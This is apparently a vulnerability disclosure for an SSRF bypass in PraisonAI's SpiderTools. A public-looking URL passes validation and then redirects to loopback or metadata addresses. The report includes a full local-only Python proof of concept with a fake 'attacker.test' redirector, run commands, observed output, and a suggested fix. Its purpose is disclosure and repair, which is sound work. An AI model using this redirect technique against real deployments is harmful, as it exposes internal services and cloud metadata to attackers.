SpiderTools redirect-target SSRF protection bypass

Summary

SpiderTools.scrape_page() validates the initial URL and rejects direct loopback, private, link-local, metadata, and internal hostnames. It then calls requests.Session.get() without disabling automatic redirects or validating redirect Location targets.

Requests follows redirects by default for GET requests. A safe-looking public URL can therefore pass _validate_url(), redirect to a blocked target such as 127.0.0.1 or 169.254.169.254, and have the redirected response body parsed and returned by scrape_page().

The same sink is used by extract_links(), crawl(), and extract_text() through their calls to scrape_page().

Affected component

src/praisonai-agents/praisonaiagents/tools/spider_tools.py

Tested affected:

• v3.9.24 / d08d98ca
• v3.9.26 / 62472a23
• v4.6.56 / d3c4a2af
• v4.6.57 / e90d92231853161ad931f3498da57651a9f8b528
• current main 2f9677abb2ea68eab864ee8b6a828fd0141612e1

No patched version is known at report time.

Root cause

Current main validates only the caller-supplied URL:

if not self._validate_url(url):
    return {"error": f"Invalid or potentially dangerous URL: {url}"}

The fetch then uses Requests defaults:

response = session.get(
    url,
    timeout=timeout,
    verify=verify_ssl
)

Because allow_redirects=False is not set, Requests follows a 3xx redirect to a new destination that has not been checked by _validate_url() or _host_is_blocked().

Proof of vulnerability

The PoV below is local-only and does not contact external infrastructure. It starts a loopback-only internal service and a local redirector. During PraisonAI's initial host validation, attacker.test is made to look like a public address. During the actual HTTP request, it routes to the local redirector, which returns 302 Location: http://127.0.0.1:<port>/secret.

Full PoV:

#!/usr/bin/env python3
"""Local PoV for SpiderTools redirect-target SSRF.

This uses only loopback services. The "attacker" hostname is treated as public
during PraisonAI's initial URL validation, then routed to a local redirector so
the PoV does not contact external infrastructure. The redirector points at a
loopback-only internal service. Vulnerable behavior is confirmed when
SpiderTools follows that redirect and returns the internal response body.
"""

from __future__ import annotations

import http.server
import importlib.util
import inspect
import os
import socket
import socketserver
import threading
from typing import Any


def _load_spider_tools_class():
    module_file = os.environ.get("PRAISONAI_SPIDER_TOOLS_FILE")
    if module_file:
        spec = importlib.util.spec_from_file_location("pov_spider_tools", module_file)
        if spec is None or spec.loader is None:
            raise RuntimeError(f"Could not load spider_tools file: {module_file}")
        module = importlib.util.module_from_spec(spec)
        spec.loader.exec_module(module)
        return module.SpiderTools

    from praisonaiagents.tools.spider_tools import SpiderTools

    return SpiderTools


class InternalHandler(http.server.BaseHTTPRequestHandler):
    body = b"SPIDER-INTERNAL-SECRET"

    def do_GET(self) -> None:  # noqa: N802
        self.server.hit = True  # type: ignore[attr-defined]
        self.send_response(200)
        self.send_header("Content-Type", "text/html")
        self.send_header("Content-Length", str(len(self.body)))
        self.end_headers()
        self.wfile.write(self.body)

    def log_message(self, *_args: Any) -> None:
        return


class RedirectHandler(http.server.BaseHTTPRequestHandler):
    target = ""

    def do_GET(self) -> None:  # noqa: N802
        self.server.hit = True  # type: ignore[attr-defined]
        self.send_response(302)
        self.send_header("Location", self.target)
        self.end_headers()

    def log_message(self, *_args: Any) -> None:
        return


def _called_from_spider_host_guard() -> bool:
    return any(frame.function == "_host_is_blocked" for frame in inspect.stack())


def main() -> int:
    os.environ.pop("ALLOW_LOCAL_CRAWL", None)

    internal = socketserver.TCPServer(("127.0.0.1", 0), InternalHandler)
    internal.hit = False  # type: ignore[attr-defined]
    internal_port = internal.server_address[1]

    RedirectHandler.target = f"http://127.0.0.1:{internal_port}/secret"
    redirect = socketserver.TCPServer(("127.0.0.1", 0), RedirectHandler)
    redirect.hit = False  # type: ignore[attr-defined]
    redirect_port = redirect.server_address[1]

    threading.Thread(target=internal.serve_forever, daemon=True).start()
    threading.Thread(target=redirect.serve_forever, daemon=True).start()

    original_getaddrinfo = socket.getaddrinfo

    def fake_getaddrinfo(host: str, port: int, *args: Any, **kwargs: Any):
        if host == "attacker.test":
            if _called_from_spider_host_guard():
                return [
                    (
                        socket.AF_INET,
                        socket.SOCK_STREAM,
                        6,
                        "",
                        ("93.184.216.34", port),
                    )
                ]
            return original_getaddrinfo("127.0.0.1", port, *args, **kwargs)
        return original_getaddrinfo(host, port, *args, **kwargs)

    tool = _load_spider_tools_class()()
    socket.getaddrinfo = fake_getaddrinfo
    try:
        direct_control = tool.scrape_page(
            f"http://127.0.0.1:{internal_port}/secret",
            timeout=5,
        )
        redirect_result = tool.scrape_page(
            f"http://attacker.test:{redirect_port}/go",
            timeout=5,
        )
        vulnerable_redirect_hit = bool(redirect.hit)  # type: ignore[attr-defined]
        vulnerable_internal_hit = bool(internal.hit)  # type: ignore[attr-defined]

        redirect.hit = False  # type: ignore[attr-defined]
        internal.hit = False  # type: ignore[attr-defined]

        import requests

        original_session_get = requests.Session.get

        def no_redirect_get(self, url, **kwargs):  # type: ignore[no-untyped-def]
            kwargs.setdefault("allow_redirects", False)
            return original_session_get(self, url, **kwargs)

        requests.Session.get = no_redirect_get
        try:
            no_redirect_control = _load_spider_tools_class()().scrape_page(
                f"http://attacker.test:{redirect_port}/go",
                timeout=5,
            )
        finally:
            requests.Session.get = original_session_get
        no_redirect_redirect_hit = bool(redirect.hit)  # type: ignore[attr-defined]
        no_redirect_internal_hit = bool(internal.hit)  # type: ignore[attr-defined]
    finally:
        socket.getaddrinfo = original_getaddrinfo
        redirect.shutdown()
        internal.shutdown()
        redirect.server_close()
        internal.server_close()

    print("DIRECT_CONTROL:", direct_control)
    print("REDIRECT_RESULT:", redirect_result)
    print("REDIRECT_SERVER_HIT:", vulnerable_redirect_hit)
    print("INTERNAL_SERVER_HIT:", vulnerable_internal_hit)
    print("NO_REDIRECT_CONTROL:", no_redirect_control)
    print("NO_REDIRECT_SERVER_HIT:", no_redirect_redirect_hit)
    print("NO_REDIRECT_INTERNAL_HIT:", no_redirect_internal_hit)

    if not isinstance(direct_control, dict) or "dangerous URL" not in str(direct_control):
        raise SystemExit("control failed: direct loopback was not blocked")
    if not isinstance(redirect_result, dict) or "error" in redirect_result:
        raise SystemExit(f"bypass failed: unexpected result {redirect_result!r}")
    if "SPIDER-INTERNAL-SECRET" not in str(redirect_result.get("content", "")):
        raise SystemExit("bypass failed: internal body was not returned")
    if not vulnerable_redirect_hit or not vulnerable_internal_hit:
        raise SystemExit("bypass failed: expected local servers were not hit")
    if not no_redirect_redirect_hit or no_redirect_internal_hit:
        raise SystemExit("fix control failed: no-redirect mode reached internal service")

    print("PRAI-CAND-004 CONFIRMED: SpiderTools follows a redirect to loopback")
    return 0


if __name__ == "__main__":
    raise SystemExit(main())

Run:

cd /Users/rexliu/Documents/GA\ code/REDit\ Deployment/stack/deploy
env PRAISONAI_SPIDER_TOOLS_FILE=/path/to/PraisonAI/src/praisonai-agents/praisonaiagents/tools/spider_tools.py \
  uv run --with requests --with beautifulsoup4 --with lxml --python 3.11 \
  poc_spider_tools_redirect_ssrf.py

Observed on current main:

DIRECT_CONTROL: {'error': 'Invalid or potentially dangerous URL: http://127.0.0.1:<port>/secret'}
REDIRECT_RESULT: {'url': 'http://attacker.test:<port>/go', 'status_code': 200, ... 'content': 'SPIDER-INTERNAL-SECRET', ...}
REDIRECT_SERVER_HIT: True
INTERNAL_SERVER_HIT: True
NO_REDIRECT_CONTROL: {'url': 'http://attacker.test:<port>/go', 'status_code': 302, ... 'Location': 'http://127.0.0.1:<port>/secret', ...}
NO_REDIRECT_SERVER_HIT: True
NO_REDIRECT_INTERNAL_HIT: False
PRAI-CAND-004 CONFIRMED: SpiderTools follows a redirect to loopback

The direct control proves direct loopback is blocked. The redirect result proves the same blocked destination is reached through a public-looking initial URL. The no-redirect control proves that disabling automatic redirects prevents the internal request while still receiving the external redirect response.

Why this is not intended behavior

The Spider Tools documentation says scrape_page, extract_links, crawl, and extract_text refuse dangerous URLs before network requests. The documented blocked classes include loopback, private/reserved IPs, link-local/cloud metadata endpoints, internal TLDs, non-HTTP(S) schemes, and parser-smuggling forms. The same page states the validation is always on for bundled spider tools and does not require enable_security().

The current code also documents _validate_url() as URL validation "to prevent SSRF attacks." A redirect to a loopback target bypasses that documented protection.

Impact

An attacker who can influence a URL passed to scrape_page(), extract_links(), crawl(), or extract_text() can cause the PraisonAI process to request destinations that SpiderTools is designed to block.

Potential impact includes:

• reading loopback-only HTTP services;
• probing or reading private network services reachable from the PraisonAI host;
• reading link-local/cloud metadata endpoints if reachable in the deployment environment.

The PoV demonstrates returned response-body disclosure from a loopback-only service. This report does not claim arbitrary code execution or live cloud credential theft without deployment-specific evidence.

Severity

Suggested default severity: Moderate.

High severity may be appropriate for deployments where untrusted users can directly invoke SpiderTools through a network-facing agent, bot, API, or MCP service and sensitive internal or metadata services are reachable.

Suggested fix

Disable automatic redirects in scrape_page():

response = session.get(
    url,
    timeout=timeout,
    verify=verify_ssl,
    allow_redirects=False,
)

If redirects should remain supported, follow them manually and validate every Location target before each hop using the same SSRF guard:

• require http or https;
• resolve and validate every redirect hostname;
• reject loopback, private, link-local, reserved, multicast, unspecified, internal, and metadata destinations;
• cap redirect count;
• apply the same safe fetch path to scrape_page(), extract_links(), crawl(), and extract_text().

Regression tests should cover direct loopback rejection, public-to-loopback redirect rejection, public-to-public redirects if supported, and all scrape_page() callers.